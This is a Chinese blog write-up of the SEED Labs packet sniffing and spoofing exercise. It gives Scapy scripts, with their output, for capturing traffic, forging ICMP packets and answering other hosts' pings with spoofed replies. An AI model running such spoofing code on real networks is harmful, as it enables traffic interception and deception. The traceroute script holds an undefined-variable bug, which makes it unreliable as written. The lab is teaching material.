【SEED Labs 2.0】Packet Sniffing and Spoofing Lab

ch3nyang

已于 2022-08-27 21:39:03 修改

阅读量4.3k

点赞数 5

分类专栏： SEED Labs 文章标签： web安全网络安全网络

于 2022-08-27 20:48:59 首次发布

本文链接：https://blog.csdn.net/qq_39678161/article/details/126562300

版权

SEED Labs 专栏收录该内容

14 篇文章 46 订阅

订阅专栏

本文为 SEED Labs 2.0 - Packet Sniffing and Spoofing Lab 的实验记录。

文章目录

实验原理
Lab Task Set 1: Using Scapy to Sniff and Spoof Packets
实验总结

实验原理

数据包嗅探和欺骗是网络安全中的两个重要概念；它们是网络通信中的两大威胁。能够理解这两种威胁对于理解网络中的安全措施至关重要。有许多数据包嗅探和欺骗工具，例如 Wireshark、Tcpdump、Netwox、Scapy 等。其中一些工具被安全专家以及攻击者广泛使用。本实验的目标有两个：学习使用这些工具并了解这些工具背后的技术。我们将编写简单的嗅探器和欺骗程序，并深入了解这些程序的技术方面。本实验涵盖以下主题：

嗅探和欺骗的工作原理
使用 pcap 库和 Scapy 进行数据包嗅探
使用原始套接字和 Scapy 进行数据包欺骗
使用 Scapy 处理数据包

Lab Task Set 1: Using Scapy to Sniff and Spoof Packets

Task 1.1: Sniffing Packets

启动 docker：

$ dcbuild
$ dcup

首先查看网卡端口：

$ ifconfig
br-9fee8832d7a6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:46ff:fe9f:a2ce  prefixlen 64  scopeid 0x20<link>
        ether 02:42:46:9f:a2:ce  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38  bytes 5759 (5.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
......

我们省略去了一些内容，因为我们只需要关注网桥的名称。

编写 sniffer.py：

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=print_pkt)

其中，br-9fee8832d7a6 就是上面获取到的名称。

Task 1.1A

在 attacker 中赋予程序执行权限并运行：

# chmod a+x sniffer.py
# sniffer.py

然后在宿主机中运行：

$ sniffer.py
Traceback (most recent call last):
  File "./sniffer.py", line 7, in <module>
    pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=print_pkt)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 1036, in sniff
    sniffer._run(*args, **kwargs)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 906, in _run
    sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,
  File "/usr/local/lib/python3.8/dist-packages/scapy/arch/linux.py", line 398, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
  File "/usr/lib/python3.8/socket.py", line 231, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted

这是由于宿主机没有访问网桥的权限。

Task 1.1B

Capture only the ICMP packet

我们在 host 上 ping 东南大学主页：

# ping www.seu.edu.cn -c 1
PING widc142.seu.edu.cn (58.192.118.142) 56(84) bytes of data.
64 bytes from 58.192.118.142 (58.192.118.142): icmp_seq=1 ttl=247 time=55.0 ms

--- widc142.seu.edu.cn ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 54.967/54.967/54.967/0.000 ms

在 attacker 上可以看到：

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 31909
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x2a8
     src       = 10.9.0.5
     dst       = 58.192.118.142
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x2ffd
        id        = 0x13
        seq       = 0x1
###[ Raw ]### 
           load      = 'a\xeb\xf9b\x00\x00\x00\x00\xaa\xcd\x03\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:05
  src       = 02:42:46:9f:a2:ce
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 1038
     flags     = 
     frag      = 0
     ttl       = 247
     proto     = icmp
     chksum    = 0x43f
     src       = 58.192.118.142
     dst       = 10.9.0.5
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0x37fd
        id        = 0x13
        seq       = 0x1
###[ Raw ]### 
           load      = 'a\xeb\xf9b\x00\x00\x00\x00\xaa\xcd\x03\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

Capture any TCP packet that comes from a particular IP and with a destination port number 23.

修改程序：

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='src host 10.9.0.5 and tcp dst port 23', prn=print_pkt)

由于 23 端口为 telnet，故我们在 host 上 telnet attacker 一下：

# telnet 10.9.0.1
Trying 10.9.0.1...
Connected to 10.9.0.1.
Escape character is '^]'.
Ubuntu 20.04.1 LTS

attacker 上看到：

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x10
     len       = 60
     id        = 60767
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x3935
     src       = 10.9.0.5
     dst       = 10.9.0.1
     \options   \
###[ TCP ]### 
        sport     = 36788
        dport     = telnet
        seq       = 1558341395
        ack       = 0
        dataofs   = 10
        reserved  = 0
        flags     = S
        window    = 64240
        chksum    = 0x1446
        urgptr    = 0
        options   = [('MSS', 1460), ('SAckOK', b''), ('Timestamp', (998148733, 0)), ('NOP', None), ('WScale', 7)]
......

Capture packets comes from or to go to a particular subnet. You can pick any subnet, such as 128.230.0.0/16; you should not pick the subnet that your VM is attached to.

修改程序：

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='net 128.230.0.0/16', prn=print_pkt)

在 host 上 ping 一下：

# ping 128.230.0.1 -c 1
PING 128.230.0.1 (128.230.0.1) 56(84) bytes of data.
64 bytes from 128.230.0.1: icmp_seq=1 ttl=44 time=396 ms

--- 128.230.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 396.333/396.333/396.333/0.000 ms

attacker 上看到：

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 3604
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0xa1a0
     src       = 10.9.0.5
     dst       = 128.230.0.1
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x71f7
        id        = 0x22
        seq       = 0x1
###[ Raw ]### 
           load      = '~\xed\xf9b\x00\x00\x00\x00B\xc2\x0c\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:05
  src       = 02:42:46:9f:a2:ce
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x2
     len       = 84
     id        = 1065
     flags     = 
     frag      = 0
     ttl       = 44
     proto     = icmp
     chksum    = 0xff89
     src       = 128.230.0.1
     dst       = 10.9.0.5
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0x79f7
        id        = 0x22
        seq       = 0x1
###[ Raw ]### 
           load      = '~\xed\xf9b\x00\x00\x00\x00B\xc2\x0c\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

Task 1.2: Spoofing ICMP Packets

编写 spoofer.py：

#!/usr/bin/env python3
from scapy.all import *

a = IP()
a.src = '10.10.0.1'
a.dst = '10.10.0.2'
b = ICMP()
p = a/b

send(p)

然后复制进 host：

$ docker cp spoofer.py 1a6d18536d74:/codes/spoofer.py

这里，1a6d18536d74 为 host docker 的 ID。

同时，sniffer.py 改回：

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=print_pkt)

我们运行程序：

# chmod a+x spoofer.py
# spoofer.py
.
Sent 1 packets.

attacker 主机接收到：

# sniffer.py
###[ Ethernet ]### 
  dst       = 02:42:46:9f:a2:ce
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 28
     id        = 1
     flags     = 
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x66ca
     src       = 10.10.0.1
     dst       = 10.10.0.2
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0xf7ff
        id        = 0x0
        seq       = 0x0

Task 1.3: Traceroute

编写 tracerouter.py：

#!/usr/bin/env python3
from scapy.all import *
import sys

argumentList = sys.argv

MAX_TTL = 255
dstHostname = argumentList[1]
dstIP = socket.gethostbyname(dstHostname)

continuousLost = 0
MAX_LOST = 6

print("dst IP: " + dstIP)

a = IP()
a.dst = dstIP
a.ttl = 1

b = ICMP()

while ip.ttl <= MAX_TTL:
    # Send Packet
    reply = sr1(a/b, verbose=0, timeout=3)
    print(str(a.ttl),end="\t")
    
    if (reply == None):
        print("===PACKET LOST===")
        continuousLost += 1
        if (continuousLost >= MAX_LOST):
            print("Unable to reach " + dstIP + "! Stop.")
            break
    else:
        print(reply.src)
        continuousLost = 0
        if (reply.src == dstIP):
            break
            
    a.ttl += 1

我们在 host 上运行：

# tracer.py 1.2.3.4
dst IP: 1.2.3.4
1	10.9.0.1
2	10.0.2.1
3	10.208.64.1
4	10.80.128.141
5	10.80.128.149
6	10.80.3.10
7	153.3.60.1
8	122.96.66.73
9	===PACKET LOST===
10	===PACKET LOST===
11	===PACKET LOST===
12	===PACKET LOST===
13	===PACKET LOST===
14	===PACKET LOST===
Unable to reach 1.2.3.4! Stop.
# tracer.py 8.8.8.8
dst IP: 8.8.8.8
1	10.9.0.1
2	10.0.2.1
3	10.208.64.1
4	10.80.128.141
5	10.80.128.149
6	10.80.3.10
7	153.3.60.1
8	221.6.2.137
9	221.6.9.129
10	219.158.8.114
11	219.158.98.94
12	219.158.16.242
13	72.14.213.114
14	108.170.241.97
15	108.170.233.19
16	8.8.8.8

可以看出，我们能够实现 traceroute 的功能。8.8.8.8 在 16 跳后到达。而 1.2.3.4 是不存在的地址，经过 8 跳后到达 122.96.66.73，此后就收不到回复了。

Task 1.4: Sniffing and-then Spoofing

编写 sniff_spoof.py：

#!/usr/bin/env python3  
from scapy.all import *  

def spoof_pkt(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8:
        
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)
        icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
        data = pkt[Raw].load
        newpkt = ip/icmp/data 
        
        send(newpkt, verbose=0)  

pkt = sniff(iface='br-9fee8832d7a6', filter='icmp', prn=spoof_pkt)

将该程序在 attacker 上运行。

在 host 上 ping 不同的 ip：

# ping 1.2.3.4 -c 1
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=102 ms

--- 1.2.3.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 101.621/101.621/101.621/0.000 ms
# ping 10.9.0.99 -c 1
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
From 10.9.0.5 icmp_seq=1 Destination Host Unreachable

--- 10.9.0.99 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
# ping 8.8.8.8 -c 2
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=23.7 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=220 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=28.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, +1 duplicates, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 23.712/90.615/219.692/91.291 ms

我们可以查看 ip route 来解释这一现象：

# ip route get 1.2.3.4
1.2.3.4 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0 
    cache 
# ip route get 10.9.0.99
10.9.0.99 dev eth0 src 10.9.0.5 uid 0 
    cache 
# ip route get 8.8.8.8  
8.8.8.8 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0 
    cache

可以看到，10.9.0.99 是子网内部的，不经过网关，然而没有找到该地址，故无法 ping 通。另外两个都是公网 ip，其中 1.2.3.4 不存在，只会收到攻击者的回复。

而 8.8.8.8 实际存在，其服务器会发送回复，而攻击者主机也会发送回复。这两个回复重复了，所以会有 UDP 标志。

实验总结

本实验较为简单，依葫芦画瓢即可。通过实验，我们了解了嗅探和欺骗的工作原理，学会了使用 pcap 库和 Scapy 进行数据包嗅探、使用原始套接字和 Scapy 进行数据包欺骗及使用 Scapy 处理数据包。

ch3nyang

关注

5
点赞
踩
25

收藏

觉得还不错? 一键收藏
1
评论
【SEED Labs 2.0】Packet Sniffing and Spoofing Lab

本文为 SEED Labs 2.0 - Packet Sniffing and Spoofing Lab 的实验记录。本实验较为简单，依葫芦画瓢即可。通过实验，我们了解了嗅探和欺骗的工作原理，学会了使用 pcap 库和 Scapy 进行数据包嗅探、使用原始套接字和 Scapy 进行数据包欺骗及使用 Scapy 处理数据包。......
复制链接

扫一扫